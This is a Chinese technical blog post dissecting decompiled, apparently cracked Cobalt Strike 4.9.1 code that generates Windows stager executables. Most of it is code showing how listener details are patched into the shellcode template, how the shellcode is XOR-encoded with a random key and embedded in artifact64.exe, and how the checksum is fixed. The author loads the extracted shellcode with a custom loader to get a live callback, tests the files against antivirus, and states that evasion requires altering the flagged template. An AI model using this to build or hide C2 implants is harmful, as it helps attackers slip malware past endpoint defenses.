背景
前面我们分析了并且破解了cs 4.9.1。我日常渗透横向中用的比较多的cs为什么免杀如此难做。杀软到底在杀什么这篇文章我们以
cs生成可执行文件windows exe来讲解一下原因。为什么落地被杀到底是杀什么。看懂这篇文章需要有很深的java se编程基础。
stage shellcode生成分析
我们来到payloads 选择windows stager payload 如下图生成64位可执行文件。
选择一个监听器生成。创建监听器的过程我们忽略
我们来从代码分析生成流程
src/aggressor/dialogs/WindowsExecutableDialog.java
public WindowsExecutableDialog(AggressorClient var1) {
System.out.println("stage对话框:" +this.getClass().getName());
this.client = var1;
}
我们修改一下代码如下图:
我们看到 this.client = var1; 我们来找var1初始化的函数 var1 = 。来到了show函数
当我们在点击 generate的时候
触发dialogAction函数。根据操作系统位数生成stage
this.stager = var5.getPayloadStager(var3 ? "x64" : "x86"); //根据选择获取 stage
点击 getPayloadStager 函数跳转到 src/common/ScListener.java
public byte[] getPayloadStager(String var1) {
return Stagers.shellcode(this, this.getPayload(), var1);
}
点击Stagers.shellcode
public static byte[] shellcode(ScListener var0, String var1, String var2) { //shellcode生成函数
GenericStager var3 = A.resolve(var0, var1, var2);
System.out.println("生成shellcode调用的类名: "+var3.getClass().getName());
return var3 != null ? var3.generate() : new byte[0]; //实际调用子类为 GenericHTTPStager.java 根据监听器生成对应的shellcode
}
我们看到A类初始化为 初始化的时候把listener也初始化了。
我们使用 var3.getClass().getName()); 把子类打印出来 stagers.BeaconHTTPSStagerX64 因为我们使用的监听器是https
我们从反编译源码找BeaconHTTPSStagerX64 发现没有generate 函数。
根据java继承关系我们寻找父类 GenericHTTPSStagerX64 还没有我们继续
继续找 GenericHTTPStager
我们复制一下 src/stagers/GenericHTTPStager.java 最终调用generate函数。注意代码里面的32-是随意标注的
public byte[] generate() {
System.out.println(this.getClass().getName());
System.out.println("加载shellcode: "+this.getStagerFile());
try {
InputStream var1 = CommonUtils.resource(this.getStagerFile());
byte[] var2 = CommonUtils.readAll(var1);
String var3 = CommonUtils.bString(var2); //shellcode变成string 类型 编码是 ISO8859-1
//System.out.println("加载shellcode原来的: "+var3);
CommonUtils.writeByte(var2,"32-shellcode.bin"); //将shellcode写入32-shellcode.bin
var1.close();
var3 = var3 + this.getListener().getStagerHost() + '\u0000';
Packer var4 = new Packer();
var4.little();
var4.addShort(this.getListener().getPort());
AssertUtils.TestPatchS(var2, 4444, this.getPortOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getPortOffset());
CommonUtils.writeByte( CommonUtils.toBytes(var3),"32-shellcod1.bin");
//System.exit(0);
var4 = new Packer();
var4.little();
var4.addInt(1453503984);
AssertUtils.TestPatchI(var2, 1453503984, this.getExitOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getExitOffset());
CommonUtils.writeByte( CommonUtils.toBytes(var3),"32-shellcod2.bin");
var4 = new Packer();
var4.little();
var4.addShort(this.getStagePreamble());
AssertUtils.TestPatchS(var2, 5555, this.getSkipOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getSkipOffset());
CommonUtils.writeByte( CommonUtils.toBytes(var3),"32-shellcod3.bin");
var4 = new Packer();
var4.little();
var4.addInt(this.getConnectionFlags());
AssertUtils.TestPatchI(var2, this.isSSL() ? -2069876224 : -2074082816, this.getFlagsOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getFlagsOffset());
CommonUtils.writeByte( CommonUtils.toBytes(var3),"32-shellcod4.bin");
String var5;
if (CommonUtils.isin(CommonUtils.repeat("X", 303), var3)) {
var5 = this.getConfig().pad(this.getHeaders() + '\u0000', 303);
var3 = CommonUtils.replaceAt(var3, var5, var3.indexOf(CommonUtils.repeat("X", 127)));
CommonUtils.writeByte( CommonUtils.toBytes(var3),"32-shellcod5.bin");
}
int var6 = var3.indexOf(CommonUtils.repeat("Y", 79), 0);
var5 = this.getConfig().pad(this.getURI() + '\u0000', 79);
var3 = CommonUtils.replaceAt(var3, var5, var6);
CommonUtils.writeByte(CommonUtils.toBytes(var3),"32-shellcod6.bin");
return CommonUtils.toBytes(var3 + this.getConfig().getWatermark());
} catch (IOException var7) {
MudgeSanity.logException("HttpStagerGeneric: " + this.getStagerFile(), var7, false);
return new byte[0];
}
public static String replaceAt(String var0, String var1, int var2) {
System.out.println("call replaceAt!!!");
//System.out.println("var0 "+var0);
StringBuffer var3 = new StringBuffer(var0);
var3.delete(var2, var2 + var1.length());
//System.out.println(var3);
var3.insert(var2, var1);
return var3.toString();
}
从 resources/httpsstager64.bin 加载shellcode 模版
shellcode模板特征
我们看到里面有需要xx和yy 我们再看代码。下面这段代码是分别找到x位置和y的位置从这里开始把listener 这些替换一下。组装shellcode
this.stager = var5.getPayloadStager(var3 ? "x64" : "x86"); //生成stage x86 和x64CommonUtils.writeByte(this.stager,"execshellcode.bin"); 我们把生成的 execshellcode.bin 使用我们的loader加载一下看看
使用我们自己的分离shellcode加载器加载shellcode 我们看到直接上线成功
在内存中我们看到。
查看网络连接
并且火绒对分阶段的shellcode execshellcode.bin 放行不杀。因为这个不是关键作用。
我们点击保存一下 这次调用函数
src/aggressor/dialogs/WindowsExecutableDialog.java
public void dialogResult(String var1) {
System.out.println("点击保存的时候触发生成结果。。。。。。"+var1);
String var2 = this.options.get("output") + "";
boolean var3 = DialogUtils.bool(this.options, "x64");
boolean var4 = DialogUtils.bool(this.options, "sign");
if (var3) {
if (var2.equals("Windows EXE")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact64.exe", var1);
} else if (var2.equals("Windows Service EXE")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact64svc.exe", var1);
} else if (var2.equals("Windows DLL")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact64.x64.dll", var1);
}
} else if (var2.equals("Windows EXE")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact32.exe", var1);
System.out.println("dialogResult Patch artifact32.exe");
} else if (var2.equals("Windows Service EXE")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact32svc.exe", var1);
} else if (var2.equals("Windows DLL")) {
(new ArtifactUtils(this.client)).patchArtifact(this.stager, "artifact32.dll", var1);
}
if (var4) {
try {
DataUtils.getSigner(this.client.getData()).sign(new File(var1));
} catch (Exception var6) {
MudgeSanity.logException("Could not sign '" + var1 + "'", var6, false);
DialogUtils.showError("Could not sign the file\nSaved unsigned " + var2 + " to\n" + var1);
return;
}
}
DialogUtils.showInfo("Saved " + var2 + " to\n" + var1);
}
我们来看这段代码 (new ArtifactUtils(this.client)).patchArtifact(this.stager, “artifact64.exe”, var1);
src/common/BaseArtifactUtils.java
public void patchArtifact(byte[] var1, String var2, String var3) { (this.stager, "artifact64.exe", exe保存位置);
byte[] var4 = this.patchArtifact(var1, var2);
CommonUtils.writeToFile(new File(var3), var4);
}
public byte[] patchArtifact(byte[] var1, String var2) {
if (A) {
System.exit(0);
}
Stack var3 = new Stack();
var3.push(SleepUtils.getScalar(var1));
var3.push(SleepUtils.getScalar(var2));
String var4 = this.client.getScriptEngine().format("EXECUTABLE_ARTIFACT_GENERATOR", var3);
return var4 == null ? this.fixChecksum(this._patchArtifact(var1, var2)) : this.fixChecksum(CommonUtils.toBytes(var4));
}
patchArtifact 对于java agent进行检测 发现agent 退出
从代码中我们看到对shellcode 进行patch 具体patch代码。如果var4 == null ? this.fixChecksum(this._patchArtifact(var1, var2)) var4等于null进去
public byte[] _patchArtifact(byte[] var1, String var2) {
try {
String var3 = var2.startsWith("artifact32") ? "x86" : "x64";
InputStream var4 = CommonUtils.resource("resources/" + var2);
System.out.println("读取: "+var2);
byte[] var5 = CommonUtils.readAll(var4); //artifact64big.exe
CommonUtils.writeByte(var5,var2+".bin");
var4.close();
byte[] var6 = new byte[]{(byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254)};
byte[] var7 = new byte[var1.length];
CommonUtils.writeByte(var1,"Patch加载器直接加载"+var3+"shellcode.bin");//直接使用loader加载
for(int var8 = 0; var8 < var1.length; ++var8) {
// System.out.println("亦或的数字是: " +var6[var8 % 4]);
var7[var8] = (byte)(var1[var8] ^ var6[var8 % 4]); //亦或加密后到内存还原解密加载shellcode
}
CommonUtils.writeByte(var7,"Patchartifact"+var3+"shellcode亦或后.bin");
byte[] yihuohuanyuan = new byte[var7.length];
for(int i = 0; i < var7.length; ++i) {
yihuohuanyuan[i] = (byte)(var7[i] ^ var6[i % 4]); //还原
}
CommonUtils.writeByte(yihuohuanyuan,"Patchartifact"+var3+"shellcode亦或后还原.bin");
String var13 = CommonUtils.bString(var5); //artifact32.exe 转换成字符串 artifact64big.exe
int var9 = var13.indexOf(CommonUtils.repeat("A", 1024)); //找里面的AAA
Packer var10 = new Packer();
var10.little();
var10.addInteger(var9 + 16);
var10.addInteger(var1.length);
var10.addString(var6, var6.length);
if (BeaconLoader.hasLoaderHint(this.client, var1, var3)) {
var10.addInteger(BeaconLoader.getLoaderHint(var1, var3, "GetModuleHandleA"));
var10.addInteger(BeaconLoader.getLoaderHint(var1, var3, "GetProcAddress"));
} else {
var10.addInteger(0);
var10.addInteger(0);
}
var10.addString(var7, var7.length);
if (License.isTrial()) {
var10.addString("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
CommonUtils.print_trial("Added EICAR string to " + var2);
}
byte[] var11 = var10.getBytes();
CommonUtils.writeByte(var11,var2+"填充A.bin");
CommonUtils.writeByte(var7,"Patchartifact"+var3+"shellcode亦或后2.bin");
var13 = CommonUtils.replaceAt(var13, CommonUtils.bString(var11), var9);//填充artifact64big.exe 的A
CommonUtils.writeByte(CommonUtils.toBytes(var13),"Patchartifact"+var3+"shellcode亦或后3.bin");
return CommonUtils.toBytes(var13);
} catch (IOException var12) {
MudgeSanity.logException("patchArtifact", var12, false);
return new byte[0];
}
}
点击保存执行过程
点击保存的时候触发生成结果。。。。。。C:\Users\Administrator\Desktop\artifact_x64.exe
读取: resources/artifact64.exe
写入: shellcode/artifact64.exe.bin
写入: shellcode/Patch加载器直接加载x64shellcode.bin
写入: shellcode/Patchartifactx64shellcode亦或后.bin
写入: shellcode/Patchartifactx64shellcode亦或后还原.bin
写入: shellcode/artifact64.exe填充A.bin
写入: shellcode/Patchartifactx64shellcode亦或后2.bin
call replaceAt!!!
写入: shellcode/Patchartifactx64shellcode亦或后3.bin
fix checksum!!!!
PEEditor fix checksum!!!!
写入: shellcode/nofixsum.bin
写入: shellcode/fixchecsum.bin
我们看 原来的resources/artifact64.exe 有一堆A
我们使用原来的 artifact64.exe 火绒直接杀。所以要免杀得修改修改artifact64.exe 要不即使你填充了还是被杀这就是为什么生成默认的exe生成即被杀。因为模版被标记了肯定会被杀。
把shellcode 异或以后在填充到artifact64.exe里面 相关关键代码
byte[] var6 = new byte[]{(byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254), (byte)CommonUtils.rand(254)};
byte[] var7 = new byte[var1.length];
CommonUtils.writeByte(var1,"Patch加载器直接加载"+var3+"shellcode.bin");//直接使用loader加载
for(int var8 = 0; var8 < var1.length; ++var8) {
// System.out.println("亦或的数字是: " +var6[var8 % 4]);
var7[var8] = (byte)(var1[var8] ^ var6[var8 % 4]); //亦或加密后到内存还原解密加载shellcode
}
shellcode异或
shellcode亦或加密保存到var7 我们看亦或后的shellcode火绒杀不杀。亦或以后没反应
然后把填充artifact64big.exe 的A 填充shellcode。上面已经描述了
下图展示了shellcode亦或后添加了某些东西然后直接填充到指定为止
我们看shellcode异或后填充到artifact64big.exe
按道理我们可以执行这个填充了shellcode并且异或后的exe也可以直接执行只是没有修复sum
修复 sum
public byte[] fixChecksum(byte[] var1) {
System.out.println("fix checksum!!!!");
if (License.isTrial()) {
return var1;
} else {
try {
System.out.println("PEEditor fix checksum!!!!");
PEEditor var2 = new PEEditor(var1);
var2.updateChecksum();
CommonUtils.writeByte(var1,"var1fixsum.bin");
CommonUtils.writeByte(var2.getImage(),"fixchecsum.bin");
return var2.getImage();
} catch (Throwable var3) {
MudgeSanity.logException("fixChecksum() failed for " + var1.length + " byte file. Skipping the checksum update", var3, false);
return var1;
}
}
}
a6ab8a95eacbb2890f2964902f7a5953 var1Nofixsum.bin 没有fixchecksum
a6ab8a95eacbb2890f2964902f7a5953 Patchartifactx64shellcode亦或后3.bin 可以直接运行
a694ca2a7d3256100654cd2439b745cf fixchecsum.bin fix checksum
a694ca2a7d3256100654cd2439b745cf artifact_x64.exe 最终生成的exe
内存里面真正执行功能的点。所以这个会被杀
内存特征对比
通过分析windows exe 我们知道 stager 提出出来可以直接加载类似这个
shellcode执行
可以直接上线
我们看生成语言的发现没有没有raw的我们生成一下C语言的stage看看
我们发现大小都一样内容也一样。如此我们就得到通过windows exe 生成的由cs自带的exe加载shellcode。通过语言生成的shellcode由我们自己写的加载器加载shellcode。我们可以通过windows 生成exe模式得到raw的shellcode 直接使用加载器进行加载。我使用的c2profile 为默认的。下一次stageless的时候说一下为什么需要cs2profile 才能进行免杀。
总结
cs windows可执行程序生成过程:
(1)resources/httpsstager64.bin
(2)把模板里面的Y和X分别替换成上线的ip的地址等
(3)生成shellcode文件
(4)把生成的shellcode通过异或以后
(5)把异或后的shellcode放到artifact64big.exe 里面
(6)然后修复一下sum
(7)直接生成exe文件
通过上述你要是杀软你肯定标记artifact64big.exe 把这个特征标记死了。静态特征。
所以这也就是如果你要做stage exe生成的免杀肯定要动artifact64big.exe 。下一期我们分析stageless生成原理也是通过windows exe生成stageless来分析。